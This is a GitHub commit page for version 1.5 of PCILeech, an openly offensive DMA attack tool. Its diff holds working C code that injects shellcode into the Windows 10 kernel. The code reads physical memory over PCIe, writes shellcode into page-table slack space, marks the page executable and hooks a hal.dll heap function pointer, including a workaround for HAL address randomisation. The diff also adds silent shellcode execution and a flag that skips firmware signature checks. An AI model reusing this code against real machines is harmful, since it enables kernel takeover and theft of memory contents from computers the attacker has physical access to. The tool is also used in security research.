Skip to content

Commit

Permalink
Version 1.5
Browse files Browse the repository at this point in the history
  • Loading branch information
ufrisk committed Mar 10, 2017
1 parent 26455eb commit a6d2f6e
Show file tree
Hide file tree
Showing 23 changed files with 353 additions and 159 deletions.
4 changes: 2 additions & 2 deletions pcileech/cpuflash.c
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
// cpuflash.c : implementation related to 8051 CPU and EEPROM flashing.
//
// (c) Ulf Frisk, 2016
// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, [email protected]
//
#include "cpuflash.h"
Expand All @@ -14,7 +14,7 @@ VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
printf("Flash failed: failed to open file or invalid size\n");
return;
}
if(pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1) {
if(!pCfg->fForceRW && (pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1)) {
printf("Flash failed: invalid firmware signature or size\n");
return;
}
Expand Down
5 changes: 1 addition & 4 deletions pcileech/device.c
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
// device.c : implementation related to the USB3380 hardware device.
//
// (c) Ulf Frisk, 2016
// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, [email protected]
//
#include "device.h"
Expand Down Expand Up @@ -251,9 +251,6 @@ BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_
if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) {
return FALSE; // too small or too large for 2 byte addressing mode
}
if(pbEEPROM[0] != 0x5a || (pbEEPROM[1] & 0xf8) != 0x00) {
return FALSE; // rudimentary signature sanity check
}
while(wAddr < cbEEPROM) {
// initialize EEPROM for writing
DeviceWriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable
Expand Down
67 changes: 63 additions & 4 deletions pcileech/executor.c
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
// executor.c : implementation related 'code execution' and 'console redirect' functionality.
//
// (c) Ulf Frisk, 2016
// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, [email protected]
//
#include "executor.h"
Expand Down Expand Up @@ -189,6 +189,65 @@ VOID Exec_CallbackClose(_In_ HANDLE hCallback)
LocalFree(ph);
}

BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut)
{
PKMDDATA pk;
BOOL result = FALSE;
DWORD cbBuffer;
PBYTE pbBuffer = NULL;
PKMDEXEC pKmdExec = NULL;
//------------------------------------------------
// 1: Setup and initial validity checks.
//------------------------------------------------
if(!pDeviceData->KMDHandle) { goto fail; }
pk = ((PKMDHANDLE)pDeviceData->KMDHandle)->status;
result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec);
if(!result) { goto fail; }
cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn);
if(!result || (pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; }
pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer);
if(!pbBuffer) { result = FALSE; goto fail; }
//------------------------------------------------
// 2: Set up shellcode and indata and write to target memory.
// X, Y = page aligned.
// [0 , Y [ = shellcode
// [Y , X [ = data in (to target computer)
// [X , buf_max [ = data out (from target computer)
//------------------------------------------------
memcpy(pbBuffer, pKmdExec->pbShellcode, pKmdExec->cbShellcode);
memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, cbIn);
result = DeviceWriteDMA(pDeviceData, pk->DMAAddrPhysical, pbBuffer, cbBuffer, PCILEECH_MEM_FLAG_RETRYONFAIL);
if(!result) { goto fail; }
pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode);
pk->dataInExtraLength = cbIn;
pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn);
pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax;
pk->dataOutExtraLength = 0;
pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset;
//------------------------------------------------
// 3: Execute!
//------------------------------------------------
KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_VOID);
result = KMD_SubmitCommand(pCfg, pDeviceData, pDeviceData->KMDHandle, KMD_CMD_EXEC);
if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) {
result = FALSE;
goto fail;
}
//------------------------------------------------
// 5: Display/Write additional output.
//------------------------------------------------
if(pcbOut) {
*pcbOut = pk->dataOutExtraLength;
*ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut));
if(!*ppbOut) { result = FALSE; goto fail; }
result = DeviceReadDMA(pDeviceData, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), 0);
}
fail:
LocalFree(pKmdExec);
LocalFree(pbBuffer);
return result;
}

VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
{
const DWORD CONFIG_SHELLCODE_MAX_BYTES_OUT_PRINT = 8192;
Expand Down Expand Up @@ -318,8 +377,8 @@ VOID ActionExecShellcode(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
}
printf("\n");
fail:
if(szBufferText) { LocalFree(pKmdExec); }
if(szBufferText) { LocalFree(pbBuffer); }
if(szBufferText) { LocalFree(szBufferText); }
LocalFree(pKmdExec);
LocalFree(pbBuffer);
LocalFree(szBufferText);
if(hFile) { CloseHandle(hFile); }
}
19 changes: 18 additions & 1 deletion pcileech/executor.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
// executor.h : definitions related to 'code execution' and 'console redirect' functionality.
//
// (c) Ulf Frisk, 2016
// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, [email protected]
//
#ifndef __EXECUTOR_H__
Expand All @@ -25,6 +25,23 @@ VOID Exec_Callback(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ PKMDDA
*/
VOID Exec_CallbackClose(_In_ HANDLE hCallback);

/*
* Execute specified shellcode silently (do not display anything on-screen).
* This function is to be called internally by PCILeech functionality that
* require more advanced kernel functionality than the core implant is able
* to provide.
* -- pCfg
* -- pDeviceData
* -- szShellcodeName
* -- pbIn = binary data to send to shellcode executing on the target.
* -- cbIn
* -- ppbOut = ptr to receive allocated buffer containing the result.
* Callers responsibility to call LocalFree(*ppbOut).
* -- pcbOut
* -- result
*/
BOOL Exec_ExecSilent(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_ PBYTE *ppbOut, _Out_ PQWORD pcbOut);

/*
* Try to execute a shellcode module in the target system kernel. This function
* requires a KMD to be loaded. The KMD is then used to load and execute the
Expand Down
4 changes: 2 additions & 2 deletions pcileech/help.c
Original file line number Diff line number Diff line change
Expand Up @@ -103,7 +103,7 @@ VOID Help_ShowGeneral()
" -kmd : address of already loaded kernel module helper (KMD). \n" \
" ALTERNATIVELY \n" \
" kernel module to use, see list below for choices: \n" \
" WIN10_X64 (WARNING! Unstable/Experimental) \n" \
" WIN10_X64 \n" \
" LINUX_X64 (NB! Kernels below 4.8 only) \n" \
" LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \
" FREEBSD_X64 \n" \
Expand All @@ -124,7 +124,7 @@ VOID Help_ShowInfo()
printf(
" PCILEECH INFORMATION \n" \
" PCILeech (c) 2016, 2017 Ulf Frisk \n" \
" Version: 1.4.1 \n" \
" Version: 1.5 \n" \
" License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \
" Contact information: [email protected] \n" \
" System requirements: 64-bit Windows 7, 10 or later. \n" \
Expand Down
54 changes: 34 additions & 20 deletions pcileech/kmd.c
Original file line number Diff line number Diff line change
Expand Up @@ -483,36 +483,42 @@ BOOL KMD_Win_SearchTableHalpInterruptController(_In_ PBYTE pbPage, _In_ QWORD qw
}

// https://blog.coresecurity.com/2016/08/25/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap/
BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
// HAL is statically located at: ffffffffffd00000 (win8.1/win10 pre 1703)
// HAL is randomized between: fffff78000000000:fffff7ffc0000000 (win10 1703) [512 possible positions in PDPT]
BOOL KMDOpen_HalHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
{
DWORD ADDR_HAL_HEAP_PA = 0x00001000;
QWORD ADDR_SHELLCODE_VA = 0xffffffffffc00100;
//QWORD ADDR_SHELLCODE_VA = 0xffffffffffc00100;
BOOL result;
SIGNATURE oSignature;
PDWORD pdwPhysicalAddress;
BYTE pbHal[0x1000] = { 0 }, pbPT[0x1000] = { 0 }, pbNULL[0x300] = { 0 };
DWORD dwHookFnPgOffset;
QWORD qwPML4, qwAddrHalHeapVA, qwPTEOrig, qwPTEPA, qwPTPA;
QWORD qwPML4, qwHalVA, qwAddrHalHeapVA, qwPTEOrig, qwPTEPA, qwPTPA, qwShellcodeVA;
//------------------------------------------------
// 1: Fetch hal.dll heap and perform sanity checks.
//------------------------------------------------
Util_CreateSignatureWindowsHalGeneric(&oSignature);
result = DeviceReadDMA(pDeviceData, ADDR_HAL_HEAP_PA, pbHal, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
qwPML4 = *(PQWORD)(pbHal + 0xa0);
qwAddrHalHeapVA = *(PQWORD)(pbHal + 0x78);
if(!result || (qwPML4 & 0xffffffff00000fff) || ((qwAddrHalHeapVA & 0xfffffffffff00fff) != 0xffffffffffd00000)) {
printf("KMD: Failed. Error reading or interpreting hal heap #1.\n");
qwHalVA = *(PQWORD)(pbHal + 0x78);
if(!result || (qwPML4 & 0xffffffff00000fff)) {
printf("KMD: Failed. Error reading or interpreting memory #1.\n");
return FALSE;
}
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA);
if(((qwHalVA & 0xfffffffffff00fff) != 0xffffffffffd00000) && ((qwHalVA & 0xffffff803fe00fff) != 0xfffff78000000000)) {
printf("KMD: Failed. Error reading or interpreting memory #2.\n");
return FALSE;
}
result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwHalVA, &qwPTEOrig, &qwPTEPA);
if(!result || ((qwPTEOrig & 0x00007ffffffff003) != 0x1003)) {
printf("KMD: Failed. Error reading or interpreting hal PTE.\n");
printf("KMD: Failed. Error reading or interpreting PTEs.\n");
return FALSE;
}
//------------------------------------------------
// 2: Search for function table in hal.dll heap.
//------------------------------------------------
for(qwAddrHalHeapVA = 0xffffffffffd00000; qwAddrHalHeapVA < 0xffffffffffe00000; qwAddrHalHeapVA += 0x1000) {
for(qwAddrHalHeapVA = (qwHalVA & 0xffffffffffd00000); qwAddrHalHeapVA < (qwHalVA & 0xffffffffffd00000) + 0x100000; qwAddrHalHeapVA += 0x1000) {
result =
Util_PageTable_ReadPTE(pCfg, pDeviceData, qwPML4, qwAddrHalHeapVA, &qwPTEOrig, &qwPTEPA) &&
((qwPTEOrig & 0x00007fff00000003) == 0x00000003) &&
Expand All @@ -528,28 +534,36 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
}
qwPTPA = qwPTEPA & ~0xfff;
result = DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
if(!result || memcmp(pbPT, pbNULL, 0x300)) { // first 0x300 bytes in Hal PT must be zero
if(!result || memcmp(pbPT + 0x200, pbNULL, 0x300)) { // 0x300 bytes between 0x200:0x500 in Hal PT must be zero
printf("KMD: Failed. Error reading or interpreting PT.\n");
return FALSE;
}
qwShellcodeVA = (qwAddrHalHeapVA & 0xffffffffffe00000) + 0x40000 + 0x210;
//------------------------------------------------
// 3: Write shellcode into page table empty space.
//------------------------------------------------
*(PQWORD)pbPT = qwPTPA | 0x63; // PTE for addr: 0xffffffffffc00000
memcpy(pbPT + 0x100, oSignature.chunk[3].pb, oSignature.chunk[3].cb);
*(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset);
*(PQWORD)(pbPT + 0x100 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset;
DeviceWriteDMA(pDeviceData, qwPTPA, pbPT, 0x300, PCILEECH_MEM_FLAG_RETRYONFAIL);
*(PQWORD)(pbPT + 0x200) = qwPTPA | 0x63; // PTE for addr
memcpy(pbPT + 0x210, oSignature.chunk[3].pb, oSignature.chunk[3].cb);
*(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_FN_STAGE1_ORIG) = *(PQWORD)(pbHal + dwHookFnPgOffset);
*(PQWORD)(pbPT + 0x210 + STAGE2_OFFSET_EXTRADATA1) = qwAddrHalHeapVA + dwHookFnPgOffset;
DeviceWriteDMA(pDeviceData, qwPTPA + 0x200, pbPT + 0x200, 0x300, PCILEECH_MEM_FLAG_RETRYONFAIL);
Util_PageTable_SetMode(pCfg, pDeviceData, qwPML4, qwShellcodeVA, TRUE);
//------------------------------------------------
// 4: Place hook by overwriting function addr in hal.dll heap.
//------------------------------------------------
Sleep(250);
DeviceWriteDMA(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&ADDR_SHELLCODE_VA, sizeof(QWORD), PCILEECH_MEM_FLAG_RETRYONFAIL);
DeviceWriteDMA(pDeviceData, (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset, (PBYTE)&qwShellcodeVA, sizeof(QWORD), PCILEECH_MEM_FLAG_RETRYONFAIL);
if(pCfg->fVerbose) {
printf("INFO: PA PT BASE: 0x%08x\n", qwPML4);
printf("INFO: PA PT: 0x%08x\n", qwPTPA);
printf("INFO: PA HAL HEAP: 0x%08x\n", (qwPTEOrig & 0xfffff000) + dwHookFnPgOffset);
printf("INFO: VA SHELLCODE: 0x%016llx\n", qwShellcodeVA);
}
printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n");
//------------------------------------------------
// 5: wait for patch to reveive execution.
//------------------------------------------------
pdwPhysicalAddress = (PDWORD)(pbPT + 0x100 + STAGE2_OFFSET_STAGE3_PHYSADDR);
pdwPhysicalAddress = (PDWORD)(pbPT + 0x210 + STAGE2_OFFSET_STAGE3_PHYSADDR);
do {
Sleep(100);
if(!DeviceReadDMA(pDeviceData, (DWORD)qwPTPA, pbPT, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
Expand All @@ -562,7 +576,7 @@ BOOL KMDOpen_HalHeapHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
// 6: Restore hooks to original.
//------------------------------------------------
Sleep(250);
DeviceWriteDMA(pDeviceData, qwPTPA, pbNULL, 0x300, 0);
DeviceWriteDMA(pDeviceData, qwPTPA + 0x200, pbNULL, 0x300, 0);
//------------------------------------------------
// 7: Set up kernel module shellcode (stage3) and finish.
//------------------------------------------------
Expand Down Expand Up @@ -692,7 +706,7 @@ BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwA
{
BOOL result;
PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle;
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return E_FAIL; }
if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; }
result = DeviceWriteDMA(pDeviceData, phKMD->status->DMAAddrPhysical, pb, cb, 0);
if(!result) { return FALSE; }
phKMD->status->_size = cb;
Expand Down Expand Up @@ -1016,7 +1030,7 @@ BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
} else if(pCfg->qwCR3 || pCfg->fPageTableScan) {
return KMDOpen_PageTableHijack(pCfg, pDeviceData);
} else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) {
return KMDOpen_HalHeapHijack(pCfg, pDeviceData);
return KMDOpen_HalHijack(pCfg, pDeviceData);
} else if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64_EFI")) {
return KMDOpen_LinuxEfiRuntimeServicesHijack(pCfg, pDeviceData);
} else {
Expand Down
4 changes: 4 additions & 0 deletions pcileech/pcileech.c
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@
#include "mempatch.h"
#include "util.h"
#include "kmd.h"
#include "vfs.h"

HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
{
Expand All @@ -29,6 +30,7 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg)
{.tp = KMDLOAD,.sz = "kmdload" },
{.tp = KMDEXIT,.sz = "kmdexit" },
{.tp = FLASH,.sz = "flash" },
{.tp = MOUNT,.sz = "mount" },
{.tp = START8051,.sz = "8051start" },
{.tp = STOP8051,.sz = "8051stop" },
{.tp = PAGEDISPLAY,.sz = "pagedisplay" },
Expand Down Expand Up @@ -205,6 +207,8 @@ int main(_In_ int argc, _In_ char* argv[])
Action_MacFilevaultRecover(pCfg, &device);
} else if(pCfg->tpAction == PT_PHYS2VIRT) {
Action_PT_Phys2Virt(pCfg, &device);
} else if(pCfg->tpAction == MOUNT) {
//ActionMount(pCfg, &device);
} else if(pCfg->tpAction == KMDLOAD) {
if(pCfg->qwKMD) {
printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)pCfg->qwKMD);
Expand Down
1 change: 1 addition & 0 deletions pcileech/pcileech.h
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ typedef enum tdActionType {
KMDLOAD,
KMDEXIT,
EXEC,
MOUNT,
MAC_FVRECOVER,
PT_PHYS2VIRT
} ACTION_TYPE, PACTION_TYPE;
Expand Down
2 changes: 2 additions & 0 deletions pcileech/pcileech.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,7 @@
<ClInclude Include="shellcode.h" />
<ClInclude Include="statistics.h" />
<ClInclude Include="util.h" />
<ClInclude Include="vfs.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cpuflash.c" />
Expand All @@ -106,6 +107,7 @@
<ClCompile Include="pcileech.c" />
<ClCompile Include="statistics.c" />
<ClCompile Include="util.c" />
<ClCompile Include="vfs.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
Expand Down
6 changes: 6 additions & 0 deletions pcileech/pcileech.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,9 @@
<ClInclude Include="statistics.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="vfs.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="cpuflash.c">
Expand Down Expand Up @@ -86,5 +89,8 @@
<ClCompile Include="statistics.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="vfs.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
Loading

0 comments on commit a6d2f6e

Please sign in to comment.